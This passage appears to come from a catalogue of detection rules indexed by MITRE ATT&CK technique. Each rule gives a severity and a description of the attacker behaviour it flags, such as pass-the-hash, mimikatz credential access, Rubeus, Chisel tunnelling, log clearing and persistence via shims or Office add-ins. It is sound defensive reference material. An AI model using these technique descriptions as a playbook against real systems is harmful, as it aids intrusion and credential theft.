Level: critical Description: Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen
attack.t1078.003	6	Show Rules (6) User Added To Admin Group - MacOS - Level: medium Description: Detects attempts to create and/or add an account to the admin group, thus granting admin privileges. User Added To Admin Group Via Dscl - Level: medium Description: Detects attempts to create and add an account to the admin group via "dscl" User Added To Admin Group Via DseditGroup - Level: medium Description: Detects attempts to create and/or add an account to the admin group, thus granting admin privileges. Root Account Enable Via Dsenableroot - Level: medium Description: Detects attempts to enable the root account via "dsenableroot" User Added To Admin Group Via Sysadminctl - Level: medium Description: Detects attempts to create and add an account to the admin group via "sysadminctl" Admin User Remote Logon - Level: low Description: Detect remote login by Administrator user (depending on internal pattern).
attack.t1565.001	6	Show Rules (6) Azure Device or Configuration Modified or Deleted - Level: medium Description: Identifies when a device or device configuration in azure is modified or deleted. Azure DNS Zone Modified or Deleted - Level: medium Description: Identifies when DNS zone is modified or deleted. Commands to Clear or Remove the Syslog - Builtin - Level: high Description: Detects specific commands commonly used to remove or empty the syslog History File Deletion - Level: high Description: Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity Potential Suspicious Change To Sensitive/Critical Files - Level: medium Description: Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system. Cisco Denial of Service - Level: medium Description: Detect a system being shutdown or put into different boot mode
attack.t1070.006	6	Show Rules (6) File Time Attribute Change - Linux - Level: medium Description: Detect file time attribute change to hide new or changes to existing files. Touch Suspicious Service File - Level: medium Description: Detects usage of the "touch" process in service file. File Time Attribute Change - Level: medium Description: Detect file time attribute change to hide new or changes to existing files Unauthorized System Time Modification - Level: low Description: Detect scenarios where a potentially unauthorized application or user is modifying the system time. File Creation Date Changed to Another Year - Level: high Description: Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity. Powershell Timestomp - Level: medium Description: Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.
attack.t1550.002	6	Show Rules (6) NTLM Logon - Level: low Description: Detects logons using NTLM, which could be caused by a legacy source or attackers Hacktool Ruler - Level: high Description: This events that are generated when using the hacktool Ruler by Sensepost Successful Overpass the Hash Attempt - Level: high Description: Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module. Pass the Hash Activity 2 - Level: medium Description: Detects the attack technique pass the hash which is used to move laterally inside the network NTLMv1 Logon Between Client and Server - Level: medium Description: Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware. Potential Pass the Hash Activity - Level: medium Description: Detects the attack technique pass the hash which is used to move laterally inside the network
attack.t1090.001	6	Show Rules (6) RDP over Reverse SSH Tunnel WFP - Level: high Description: Detects svchost hosting RDP termsvcs communicating with the loopback address Cloudflared Portable Execution - Level: medium Description: Detects the execution of the "cloudflared" binary from a non standard location. Cloudflared Quick Tunnel Execution - Level: medium Description: Detects creation of an ad-hoc Cloudflare Quick Tunnel, which can be used to tunnel local services such as HTTP, RDP, SSH and SMB. The free TryCloudflare Quick Tunnel will generate a random subdomain on trycloudflare[.]com, following a call to api[.]trycloudflare[.]com. The tool has been observed in use by threat groups including Akira ransomware. HackTool - SharpChisel Execution - Level: high Description: Detects usage of the Sharp Chisel via the commandline arguments PUA - Chisel Tunneling Tool Execution - Level: high Description: Detects usage of the Chisel tunneling tool via the commandline arguments Renamed Cloudflared.EXE Execution - Level: high Description: Detects the execution of a renamed "cloudflared" binary.
attack.t1552.006	6	Show Rules (6) Access To Potentially Sensitive Sysvol Files By Uncommon Applications - Level: medium Description: Detects file access requests to potentially sensitive files hosted on the Windows Sysvol share. Findstr GPP Passwords - Level: high Description: Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt. LSASS Process Reconnaissance Via Findstr.EXE - Level: high Description: Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID Permission Misconfiguration Reconnaissance Via Findstr.EXE - Level: medium Description: Detects usage of findstr with the "EVERYONE" or "BUILTIN" keywords. This was seen being used in combination with "icacls" and other utilities to spot misconfigured files or folders permissions. Suspicious SYSVOL Domain Group Policy Access - Level: medium Description: Detects Access to Domain Group Policies stored in SYSVOL Access To Sysvol Policies Share By Uncommon Process - Level: medium Description: Detects file access requests to the Windows Sysvol Policies Share by uncommon processes
attack.t1027.004	6	Show Rules (6) Dynamic CSharp Compile Artefact - Level: low Description: When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution Dynamic .NET Compilation Via Csc.EXE - Level: medium Description: Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages. Csc.EXE Execution Form Potentially Suspicious Parent - Level: high Description: Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery. Potential Application Whitelisting Bypass via Dnx.EXE - Level: medium Description: Detects the execution of Dnx.EXE. The Dnx utility allows for the execution of C# code. Attackers might abuse this in order to bypass application whitelisting. Visual Basic Command Line Compiler Usage - Level: high Description: Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter. Dynamic .NET Compilation Via Csc.EXE - Hunting - Level: medium Description: Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.
attack.t1218.001	6	Show Rules (6) HH.EXE Execution - Level: low Description: Detects the execution of "hh.exe" to open ".chm" files. Remote CHM File Download/Execution Via HH.EXE - Level: high Description: Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files. HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) OneNote.EXE Execution of Malicious Embedded Scripts - Level: high Description: Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories. HH.EXE Initiated HTTP Network Connection - Level: medium Description: Detects a network connection initiated by the "hh.exe" process to HTTP destination ports, which could indicate the execution/download of remotely hosted .chm files.
attack.t1546.011	6	Show Rules (6) Potential Shim Database Persistence via Sdbinst.EXE - Level: medium Description: Detects installation of a new shim using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims Uncommon Extension Shim Database Installation Via Sdbinst.EXE - Level: medium Description: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims Potential Persistence Via AppCompat RegisterAppRestart Layer - Level: medium Description: Detects the setting of the REGISTERAPPRESTART compatibility layer on an application. This compatibility layer allows an application to register for restart using the "RegisterApplicationRestart" API. This can be potentially abused as a persistence mechanism. Suspicious Shim Database Patching Activity - Level: high Description: Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence. Potential Persistence Via Shim Database In Uncommon Location - Level: high Description: Detects the installation of a new shim database where the file is located in a non-default location Potential Persistence Via Shim Database Modification - Level: medium Description: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time
attack.t1564.002	5	Show Rules (5) User Account Hidden By Registry - Level: high Description: Detect modification for a specific user to prevent that user from being listed on the logon screen Hidden User Creation - Level: medium Description: Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option Hiding User Account Via SpecialAccounts Registry Key - CommandLine - Level: medium Description: Detects changes to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen. Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy Hiding User Account Via SpecialAccounts Registry Key - Level: high Description: Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.
attack.t1213.003	5	Show Rules (5) Bitbucket Full Data Export Triggered - Level: high Description: Detects when full data export is attempted. Bitbucket Unauthorized Full Data Export Triggered - Level: critical Description: Detects when full data export is attempted an unauthorized user. Github Delete Action Invoked - Level: medium Description: Detects delete action in the Github audit logs for codespaces, environment, project and repo. Github Outside Collaborator Detected - Level: medium Description: Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA. Github Self Hosted Runner Changes Detected - Level: low Description: A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
attack.t1562.006	5	Show Rules (5) Okta User Session Start Via An Anonymising Proxy Service - Level: high Description: Detects when an Okta user session starts where the user is behind an anonymising proxy service. Auditing Configuration Changes on Linux Host - Level: high Description: Detect changes in auditd configuration files Logging Configuration Changes on Linux Host - Level: high Description: Detect changes of syslog daemons configuration files Disable of ETW Trace - Powershell - Level: high Description: Detects usage of powershell cmdlets to disable or remove ETW trace sessions ETW Trace Evasion Activity - Level: high Description: Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.
attack.t1027.003	5	Show Rules (5) Steganography Hide Zip Information in Picture File - Level: low Description: Detects appending of zip file to image Steganography Hide Files with Steghide - Level: low Description: Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information. Steganography Extract Files with Steghide - Level: low Description: Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information. Steganography Unzip Hidden Information From Picture File - Level: low Description: Detects extracting of zip file from image file Findstr Launching .lnk File - Level: medium Description: Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack
attack.t1505.004	5	Show Rules (5) ETW Logging/Processing Option Disabled On IIS Server - Level: medium Description: Detects changes to of the IIS server configuration in order to disable/remove the ETW logging/processing option. HTTP Logging Disabled On IIS Server - Level: high Description: Detects changes to of the IIS server configuration in order to disable HTTP logging for successful requests. New Module Module Added To IIS Server - Level: medium Description: Detects the addition of a new module to an IIS server. Previously Installed IIS Module Was Removed - Level: low Description: Detects the removal of a previously installed IIS module. Suspicious IIS Module Registration - Level: high Description: Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors
attack.t1218.009	4	Show Rules (4) Possible Applocker Bypass - Level: low Description: Detects execution of executables that can be used to bypass Applocker whitelisting RegAsm.EXE Initiating Network Connection To Public IP - Level: medium Description: Detects "RegAsm.exe" initiating a network connection to public IP adresses Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension - Level: medium Description: Detects potentially suspicious execution of the Regasm/Regsvcs utilities with an uncommon extension. Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location - Level: medium Description: Detects potentially suspicious execution of the Regasm/Regsvcs utilities from a potentially suspicious location
attack.t1552.007	4	Show Rules (4) Kubernetes Admission Controller Modification - Level: medium Description: Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials. Kubernetes Secrets Enumeration - Level: low Description: Detects enumeration of Kubernetes secrets. Azure Kubernetes Admission Controller - Level: medium Description: Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information. Google Cloud Kubernetes Admission Controller - Level: medium Description: Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.
attack.t1550.001	4	Show Rules (4) AWS Console GetSigninToken Potential Abuse - Level: medium Description: Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request. AWS STS AssumeRole Misuse - Level: low Description: Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges. AWS STS GetSessionToken Misuse - Level: low Description: Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges. AWS Suspicious SAML Activity - Level: medium Description: Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.
attack.t1136.003	4	Show Rules (4) AWS ElastiCache Security Group Created - Level: low Description: Detects when an ElastiCache security group has been created. New Github Organization Member Added - Level: informational Description: Detects when a new member is added or invited to a github organization. New Federated Domain Added - Level: medium Description: Detects the addition of a new Federated Domain. New Federated Domain Added - Exchange - Level: medium Description: Detects the addition of a new Federated Domain.
attack.t1021.004	4	Show Rules (4) Bitbucket Global SSH Settings Changed - Level: medium Description: Detects Bitbucket global SSH access configuration changes. Bitbucket User Login Failure Via SSH - Level: medium Description: Detects SSH user login access failures. Please note that this rule can be noisy and is recommended to use with correlation based on "author.name" field. OpenSSH Server Listening On Socket - Level: medium Description: Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket. Port Forwarding Activity Via SSH.EXE - Level: medium Description: Detects port forwarding activity via SSH.exe
attack.t1222.002	4	Show Rules (4) Remove Immutable File Attribute - Auditd - Level: medium Description: Detects removing immutable file attribute. File or Folder Permissions Change - Level: low Description: Detects file and folder permission changes. Remove Immutable File Attribute - Level: medium Description: Detects usage of the 'chattr' utility to remove immutable file attribute. Chmod Suspicious Directory - Level: medium Description: Detects chmod targeting files in abnormal directory paths.
attack.t1102.001	4	Show Rules (4) PwnDrp Access - Level: critical Description: Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity Raw Paste Service Access - Level: high Description: Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form Network Connection Initiated To AzureWebsites.NET By Non-Browser Process - Level: medium Description: Detects an initiated network connection by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site. New Connection Initiated To Potential Dead Drop Resolver Domain - Level: high Description: Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks. In this context attackers leverage known websites such as "facebook", "youtube", etc. In order to pass through undetected.
attack.t1222.001	4	Show Rules (4) AD Object WriteDAC Access - Level: critical Description: Detects WRITE_DAC access to a domain object Suspicious Recursive Takeown - Level: medium Description: Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders WannaCry Ransomware Activity - Level: critical Description: Detects WannaCry ransomware activity File or Folder Permissions Modifications - Level: medium Description: Detects a file or folder's permissions being modified or tampered with.
attack.t1547.009	4	Show Rules (4) Windows Network Access Suspicious desktop.ini Action - Level: medium Description: Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk. New Custom Shim Database Created - Level: medium Description: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. Creation Exe for Service with Unquoted Path - Level: high Description: Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. Suspicious desktop.ini Action - Level: medium Description: Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.
attack.t1552.002	4	Show Rules (4) SAM Registry Hive Handle Request - Level: high Description: Detects handles requested to SAM registry hive Enumeration for 3rd Party Creds From CLI - Level: medium Description: Detects processes that query known 3rd party registry keys that holds credentials via commandline Enumeration for Credentials in Registry - Level: medium Description: Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services Remote Registry Management Using Reg Utility - Level: medium Description: Remote registry management using REG utility from non-admin workstation
attack.t1027.005	4	Show Rules (4) Potential Secure Deletion with SDelete - Level: medium Description: Detects files that have extensions commonly seen while SDelete is used to wipe files. HackTool - CrackMapExec PowerShell Obfuscation - Level: high Description: The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule. PUA - DefenderCheck Execution - Level: high Description: Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion. PUA - Potential PE Metadata Tamper Using Rcedit - Level: medium Description: Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.
attack.t1484.001	4	Show Rules (4) Group Policy Abuse for Privilege Addition - Level: medium Description: Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins. Startup/Logon Script Added to Group Policy Object - Level: medium Description: Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects. Modify Group Policy Settings - ScriptBlockLogging - Level: medium Description: Detect malicious GPO modifications can be used to implement many other malicious behaviors. Modify Group Policy Settings - Level: medium Description: Detect malicious GPO modifications can be used to implement many other malicious behaviors.
attack.t1559.001	4	Show Rules (4) DNS Query Request By Regsvr32.EXE - Level: medium Description: Detects DNS queries initiated by "Regsvr32.exe" Network Connection Initiated By Regsvr32.EXE - Level: medium Description: Detects a network connection initiated by "Regsvr32.exe" CMSTP Execution Process Access - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution Dllhost.EXE Initiated Network Connection To Non-Local IP Address - Level: medium Description: Detects Dllhost.EXE initiating a network connection to a non-local IP address. Aside from Microsoft own IP range that needs to be excluded. Network communication from Dllhost will depend entirely on the hosted DLL. An initial baseline is recommended before deployment.
attack.t1555.004	4	Show Rules (4) Access To Windows Credential History File By Uncommon Applications - Level: medium Description: Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function Access To Windows DPAPI Master Keys By Uncommon Applications - Level: medium Description: Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function Suspicious Key Manager Access - Level: high Description: Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager) Windows Credential Manager Access via VaultCmd - Level: medium Description: List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe
attack.t1546.002	4	Show Rules (4) Suspicious Screensaver Binary File Creation - Level: medium Description: Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension Writing Local Admin Share - Level: medium Description: Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by post-exploitation frameworks. Suspicious ScreenSave Change by Reg.exe - Level: medium Description: Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension Path To Screensaver Binary Modified - Level: medium Description: Detects value modification of registry key containing path to binary used as screensaver.
attack.t1137.006	4	Show Rules (4) Potential Persistence Via Microsoft Office Add-In - Level: high Description: Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel). Code Executed Via Office Add-in XLL File - Level: high Description: Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs Potential Persistence Via Excel Add-in - Registry - Level: high Description: Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started. Potential Persistence Via Visual Studio Tools for Office - Level: medium Description: Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.
attack.t1550.003	4	Show Rules (4) Uncommon Outbound Kerberos Connection - Level: medium Description: Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation. HackTool - Rubeus Execution - ScriptBlock - Level: high Description: Detects the execution of the hacktool Rubeus using specific command line flags HackTool - KrbRelayUp Execution - Level: high Description: Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced HackTool - Rubeus Execution - Level: critical Description: Detects the execution of the hacktool Rubeus via PE information of command line parameters
attack.t1074.001	4	Show Rules (4) Zip A Folder With PowerShell For Staging In Temp - PowerShell - Level: medium Description: Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. Zip A Folder With PowerShell For Staging In Temp - PowerShell Module - Level: medium Description: Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. Zip A Folder With PowerShell For Staging In Temp - PowerShell Script - Level: medium Description: Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet - Level: medium Description: Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
attack.t1132.001	4	Show Rules (4) Suspicious FromBase64String Usage On Gzip Archive - Ps Script - Level: medium Description: Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward. DNS Exfiltration and Tunneling Tools Execution - Level: high Description: Well-known DNS Exfiltration tools execution Gzip Archive Decode Via PowerShell - Level: medium Description: Detects attempts of decoding encoded Gzip archives via PowerShell. Suspicious FromBase64String Usage On Gzip Archive - Process Creation - Level: medium Description: Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.
attack.t1070.005	4	Show Rules (4) PowerShell Deleted Mounted Share - Level: medium Description: Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation Unmount Share Via Net.EXE - Level: low Description: Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation Disable Administrative Share Creation at Startup - Level: medium Description: Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system MaxMpxCt Registry Value Changed - Level: low Description: Detects changes to the "MaxMpxCt" registry value. MaxMpxCt specifies the maximum outstanding network requests for the server per client, which is used when negotiating a Server Message Block (SMB) connection with a client. Note if the value is set beyond 125 older Windows 9x clients will fail to negotiate. Ransomware threat actors and operators (specifically BlackCat) were seen increasing this value in order to handle a higher volume of traffic.
attack.t1491.001	4	Show Rules (4) Replace Desktop Wallpaper by Powershell - Level: low Description: An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper Potentially Suspicious Desktop Background Change Using Reg.EXE - Level: medium Description: Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image. Potentially Suspicious Desktop Background Change Via Registry - Level: medium Description: Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image. Potential Ransomware Activity Using LegalNotice Message - Level: high Description: Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages
attack.t1546.007	4	Show Rules (4) Potential Persistence Via Netsh Helper DLL - Level: medium Description: Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed. Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy Potential Persistence Via Netsh Helper DLL - Registry - Level: medium Description: Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper New Netsh Helper DLL Registered From A Suspicious Location - Level: high Description: Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper
attack.t1547.010	4	Show Rules (4) Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy Add Port Monitor Persistence in Registry - Level: medium Description: Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. Bypass UAC Using Event Viewer - Level: high Description: Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification Default RDP Port Changed to Non Standard Port - Level: high Description: Detects changes to the default RDP port. Remote desktop is a common feature in operating systems. It allows a user to log into a remote system using an interactive session with a graphical user interface. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).
attack.t1546.012	3	Show Rules (3) SilentProcessExit Monitor Registration - Level: high Description: Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process Potential Persistence Via App Paths Default Property - Level: high Description: Detects changes to the "Default" property for keys located in the \Software\Microsoft\Windows\CurrentVersion\App Paths\ registry. Which might be used as a method of persistence The entries found under App Paths are used primarily for the following purposes. First, to map an application's executable file name to that file's fully qualified path. Second, to prepend information to the PATH environment variable on a per-application, per-process basis. Potential Persistence Via GlobalFlags - Level: high Description: Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys
attack.t1059.009	3	Show Rules (3) AWS IAM S3Browser Templated S3 Bucket Policy Creation - Level: high Description: Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "". AWS IAM S3Browser LoginProfile Creation - Level: high Description: Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile. AWS IAM S3Browser User or AccessKey Creation - Level: high Description: Detects S3 Browser utility creating IAM User or AccessKey.
attack.t1098.001	3	Show Rules (3) Added Credentials to Existing Application - Level: high Description: Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials. Github Outside Collaborator Detected - Level: medium Description: Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA. Okta Identity Provider Created - Level: medium Description: Detects when a new identity provider is created for Okta.
attack.t1027.001	3	Show Rules (3) Binary Padding - Linux - Level: high Description: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file. Binary Padding - MacOS - Level: high Description: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file. Failed Code Integrity Checks - Level: informational Description: Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.
attack.t1056.001	3	Show Rules (3) Linux Keylogging with Pam.d - Level: high Description: Detect attempt to enable auditing of TTY input Powershell Keylogging - Level: medium Description: Adversaries may log user keystrokes to intercept credentials as the user types them. Potential Keylogger Activity - Level: medium Description: Detects PowerShell scripts that contains reference to keystroke capturing functions
attack.t1552.003	3	Show Rules (3) Suspicious History File Operations - Linux - Level: medium Description: Detects commandline operations on shell history files Suspicious History File Operations - Level: medium Description: Detects commandline operations on shell history files Cisco Show Commands Input - Level: medium Description: See what commands are being input into the device by other people, full credentials can be in the history
attack.t1070.002	3	Show Rules (3) Clear Linux Logs - Level: medium Description: Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion Commands to Clear or Remove the Syslog - Level: high Description: Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks Indicator Removal on Host - Clear Mac System Logs - Level: medium Description: Detects deletion of local audit logs
attack.t1592.004	3	Show Rules (3) Cat Sudoers - Level: medium Description: Detects the execution of a cat /etc/sudoers to list all users that have sudo rights Print History File Contents - Level: medium Description: Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance Linux Recon Indicators - Level: high Description: Detects events with patterns found in commands used for reconnaissance on linux systems
attack.t1078.001	3	Show Rules (3) Root Account Enable Via Dsenableroot - Level: medium Description: Detects attempts to enable the root account via "dsenableroot" Guest Account Enabled Via Sysadminctl - Level: low Description: Detects attempts to enable the guest account using the sysadminctl utility Admin User Remote Logon - Level: low Description: Detect remote login by Administrator user (depending on internal pattern).
